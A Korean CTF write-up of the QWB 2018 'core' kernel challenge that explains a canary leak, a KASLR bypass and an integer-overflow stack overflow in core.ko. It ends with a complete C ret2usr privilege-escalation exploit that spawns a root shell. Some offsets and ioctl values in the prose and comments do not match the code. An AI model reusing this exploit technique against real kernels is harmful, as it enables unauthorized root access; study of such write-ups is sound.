QWB CTF 2018에 출제되었던 core를 풀어보았다.
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core
core
는 커널 익스플로잇의 가장 기본이 되는 테크닉 ret2usr
을 실습할 수 있는 문제다. 먼저 core_give.tar.gz
압축을 풀어보자.
압축 해제 시 아래와 같은 파일이 보인다.
bzImage
: 커널 이미지core.cpio
: 커널 파일 시스템start.sh
: qemu 실행 스크립트vmlinux
: 심볼이 포함된 커널 elf 파일core.cpio
파일의 형식이 gzip compressed data이다. 따라서 이름을 core.cpio.gz
로 바꿔준 후 gzip
으로 압축 해제한다. 그러면 core.cpio
의 파일 형식이 cpio archive
임을 확인할 수 있다.
core.cpio
를 압축 해제하면, 분석해야 할 모듈 core.ko
를 얻을 수 있다. 플레이어는 이 모듈을 IDA, ghidra로 분석해 취약점을 찾아야 한다. 또한 init
스크립트도 찾을 수 있는데, 해당 스크립트에 작성된 poweroff -d 120 -f &
을 주석 처리하면 시간 제한 없이 마음껏 디버깅할 수 있다. 또한 쾌적한 디버깅을 위해 setuidgid 1000
을 setuidgid 0
으로 설정한다. 이는 root
계정으로 qemu에 접속하기 위함인데, KADR
보호 기법과 관계 없이 root
계정은 /proc/kallsyms
을 확인할 수 있기 때문이다.
실제 익스플로잇 코드를 테스트할 때에는
setuidgid 1000
으로 원상복구해야 한다.
[!] 파일 시스템을 수정했다면 cpio 아카이브를 업데이트해야 한다.
start.sh
스크립트를 보면, KASLR
보호 기법이 적용되었음을 알 수 있다. 따라서 커널의 베이스 주소를 확보하여 KASLR
을 우회해야 한다.
start.sh
스크립트 실행 시 부팅이 되지 않는다면,-m 64M
을-m 512M
으로 수정해 보자
커널 디버깅을 위해 gdb 실행 스크립트 run_gdb.sh
를 작성한다. 이때 start.sh
에는 -s
옵션이 설정되어 있어야 사용할 수 있다.
사용 방법은 간단하다. start.sh
를 실행한 후, 다른 터미널에서 run_gdb.sh
를 실행하면 된다.
IDA로 core.ko를 열었더니 위 함수들이 탐색되었다.
proc_create()
로 모듈을 생성한다. 해당 함수는 /proc
가상 파일 시스템에 모듈을 생성한다.
함수 호출 시 전달되는 네 번째 인자 core_fops
는 struct file_operations
구조체를 의미한다. 해당 구조체에 함수 포인터를 등록함으로써, VFS
에서 등록한 함수를 찾아 호출할 수 있도록 한다.
core_ioctl()
함수는 유저 레벨에서 ioctl()
함수를 호출할 때 VFS
에 의해 내부적으로 호출된다. 두 번째 인자의 값에 따라 아래으 동작을 수행한다.
core_read()
호출off
를 3으로 설정core_copy_func()
호출core_read()
함수는 인자로 전달된 주소 a1
에 64byte 값을 복사한다. 이때 a1
은 유저 프로세스로부터 전달받은 주소 값으로, copy_to_user()
API를 이용해 값을 복사한다.
이때 지역(스택) 변수 v5
+off
을 시작으로 64byte만큼 유저 프로세스에게 전달하므로, 유저 프로세스는 커널 스택 메모리를 읽을 수 있다.
core_ioctl()
함수의 두 번째 인자로0x6677889b
를 호출하면core_read()
를 호출할 수 있다.
코드를 보면 커널 모듈에 Stack Smashing Protection(SSP)
가 걸려있는 것을 확인할 수 있다. 따라서 커널 스택의 값을 읽을 수 있다면 canary
를 leak할 수 있다.
core_copy_func()
함수는 인자 a1
이 63을 넘기는지 확인한 후, 변수 name
의 값을 지역 변수 v2
에 a1
만큼 저장한다.
그러면
name
변수는 어떻게 설정할까? IDA의 cross reference 기능을 이용하면 쉽게 찾을 수 있다.name
변수를 클릭한 후, 'x'를 클릭해보자.
core_copy_func()
함수뿐만이 아니라,core_write()
함수에도 참조되고 있음을 알 수 있다.
core_write()
함수는 유저 프로세스가 전달한 데이터가 담긴 버퍼 a2
를 name
변수에 a3
만큼 복사한다. 이때 세 번째 인자 a3
는 0x800보다 작아야 한다.
이 함수를 이용하면 name
변수를 조작할 수 있고, core_copy_func()
함수를 통해 return address를 조작할 수 있다.
이 문제에는 KASLR을 우회하는 두 가지 방법이 있다. 각 방법에 따라 익스플로잇 코드가 달라지나, 필자는 두 번째 방법을 기준으로 익스플로잇 코드를 작성했다.
파일 시스템에서 init
스크립트를 확인하면 위와 같은 명령어를 확인할 수 있다.
echo 1 > /proc/sys/kernel/kptr_restrict
는 KADR
보호 기법을 활성화하는 명령어로, root
가 아닌 일반 유저는 /proc/kallsyms
에 있는 심볼 주소 정보를 보여주지 않는다.
하지만 위 스크립트에서 cat /proc/kallsyms > /tmp/kallsyms
명령이 실행됨으로써 /proc/kallsyms
의 내용이 /tmp/kallsyms
에 저장된다. 따라서 /tmp/kallsyms
를 읽음으로써 커널 심볼 주소를 확인할 수 있다.
core_read()
함수는 커널 스택의 값을 읽을 수 있다. 이때 core_read()
함수의 커널 스택에는 core_ioctl()
로 return하는 주소와, 커널 코드로 리턴하는 주소가 있다. 이때 커널 코드로 리턴하는 주소
는 커널 베이스 주소
+해당 코드의 오프셋
이므로, 오프셋만 알아낸다면 커널 베이스 주소
를 파악할 수 있다.
1) core_ioctl()
로 off
변수를 설정한 후, core_read()
함수의 취약점으로 canary
와 커널 코드로 리턴하는 주소
읽기
2) 커널 코드로 리턴하는 주소
-해당 코드의 오프셋
을 계산해 커널 베이스 주소
파악한 후, prepare_kernel_cred()
, commit_creds()
함수의 주소 계산
3) 유저 프로세스에 정의된 익스플로잇 함수 주소와 카나리로 payload를 구성한 후, core_write()
함수로 name
변수에 저장
4) core_user_copy()
함수의 취약점으로, 커널 스택을 name
변수의 값으로 변조함으로써 return address 조작
5) 유저 프로세스에 정의된 익스플로잇 함수 실행
core_read()
함수의 v5
변수는 rsp
부터 시작하고, rsp
+off
부터 64byte만큼의 값을 유저 프로세스 영역으로 복사한다. 참고로 canary
는 rsp+0x40
에 위치한다.
core_read()
함수가 실행될 때의 스택을 보면 다음 정보를 확인할 수 있다.
rsp+0x40
: canary
rsp+0x50
: core_ioctl()
로 리턴하는 주소rsp+0x60
: 커널 코드로 리턴하는 주소
core_read()
함수는 64byte를 복사하므로, off
를 0x40
으로 맞춘다면 유저 프로세스의 버퍼는 위와 같이 될 것이다.
모듈로부터 읽어 온 데이터에서 canary
와 커널 코드로 리턴하는 주소
를 읽어 온다.
커널 코드로 리턴하는 주소
의 오프셋을 구해보자. 커널 코드로 리턴하는 주소
-커널 베이스 주소
를 계산하면 된다. 0x1dd6d1
으로 계산되었다.
계산한 오프셋으로 커널 베이스 주소
를 특정한 후, prepare_kernel_cred()
, commit_cred()
함수의 주소를 구한다.
payload를 구성한 후, core_write()
함수를 이용해 name
변수에 저장한다. 이 payload는 추후에 core_copy_func()
함수의 커널 스택에 덮어씌일 것이므로, core_copy_func()
함수의 스택 구조를 파악해야 한다.
core_copy_func()
함수의 어셈블리 코드를 보면 위와 같이 스택이 구성됨을 알 수 있다. name
변수는 rsp
부터 덮어씌워지므로, 아래와 같이 payload를 구성해야 한다.
canary
lpe_ret2usr()
으로 정의함)core_copy_func()
함수는 integer overflow와 stack buffer overflow가 발생한다.
payload의 크기를 0x60
임을 가정한 후, core_ioctl()
의 세 번째 인자를 0x80000000 00000060
으로 전달한다.
디버깅을 하면 실제로 유저 영역(0x401d03)의 코드로 리턴된다.
권한 상승을 일으키는 함수 lpe_ret2usr
은 위와 같이 정의되어 있다. 해당 함수는 commit_creds(prepare_kenrel_cred(0))
으로 root
권한의 struct cred
를 적용하고, swapgs
, retq
로 커널 모드에서 유저 모드로 전환한다. 이때 retq
전에 rsp
를 rv
의 시작 주소로 설정함으로써, rv
구조체 변수의 값을 이용해 iretq
를 수행한다.
그러면 rv
구조체 변수는 언제 설정되는가? rv
구조체 변수는 core_copy_func()
함수의 return address를 조작하기 직전에 설정하며, backup_rv()
함수가 이를 수행한다. 이때 rv
의 user_rip
멤버를 shell()
함수의 시작 주소로 설정하는데, 이를 통해 커널 모드에서 유저 모드로 복귀 시 해당 함수를 실행할 수 있도록 한다.
// gcc -o ex ex.c -masm=intel --static
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
uint64_t __attribute__((regparm(3))) (*commit_creds)(uint64_t cred);
uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred)(uint64_t cred);
struct register_val {
uint64_t user_rip;
uint64_t user_cs;
uint64_t user_rflags;
uint64_t user_rsp;
uint64_t user_ss;
} __attribute__((packed));
struct register_val rv;
void shell(void)
{
system("/bin/sh");
}
void backup_rv(void)
{
asm("mov rv+8, cs;"
"pushf; pop rv+16;"
"mov rv+24, rsp;"
"mov rv+32, ss;"
);
rv.user_rip = (uint64_t)shell;
}
void lpe_ret2usr(void)
{
commit_creds(prepare_kernel_cred(0));
asm("swapgs;"
"mov %%rsp, %0;"
"iretq;"
: : "r" (&rv));
}
uint64_t btoll(const unsigned char *bytes)
{
uint64_t result = 0;
int i = 0;
for (i = 0; i < 8; i++) {
uint64_t temp = bytes[i];
result += temp << (8 * i);
}
return result;
}
int main(void)
{
int fd;
unsigned char buf[0x40], payload[0x60];
uint64_t canary, retaddr, kernel_base, lpe_ret2usr_pointer;
if ((fd = open("/proc/core", O_RDWR)) == -1) {
perror("open()");
return -1;
}
// LEAK CANARY
// set off=0x40
ioctl(fd, 0x6677889c, 0x40);
// 0x8 canary + 0x8 pushed rbx + 0x8 retaddr to core_ioctl + 0x8 dummy + 0x8 retaddr to kernel code
// canary: rsp+0x40 ~ rsp+0x47
// return to kernel code: rsp+0x60 ~ rsp+0x67
// core_ioctl is called by kernel subsystem
ioctl(fd, 0x6677889b, buf);
canary = btoll(buf);
retaddr = btoll(buf+0x20);
// retaddr to kernel code - 0x1dd6d1 = kernel base address
// prepare_kernel_cred = kernel base address + 0x9cad0
// commit_creds = kernel base address + 0x9c8e0
kernel_base = (retaddr - 0x1dd6d1);
prepare_kernel_cred = kernel_base + 0x9cce0;
commit_creds = kernel_base + 0x9c8e0;
printf("canary : %#lx\n", canary);
printf("kbase : %#lx\n", kernel_base);
printf("prepare: %#lx\n", prepare_kernel_cred);
printf("commit : %#lx\n", commit_creds);
memcpy(payload + 0x40, &canary, 8);
lpe_ret2usr_pointer = (uint64_t)lpe_ret2usr;
memcpy(payload + 0x50, &lpe_ret2usr_pointer, 8);
write(fd, payload, 0x60);
backup_rv(); //set iretq stack
ioctl(fd, 0x6677889a, 0xf000000000000060);
return 0;
}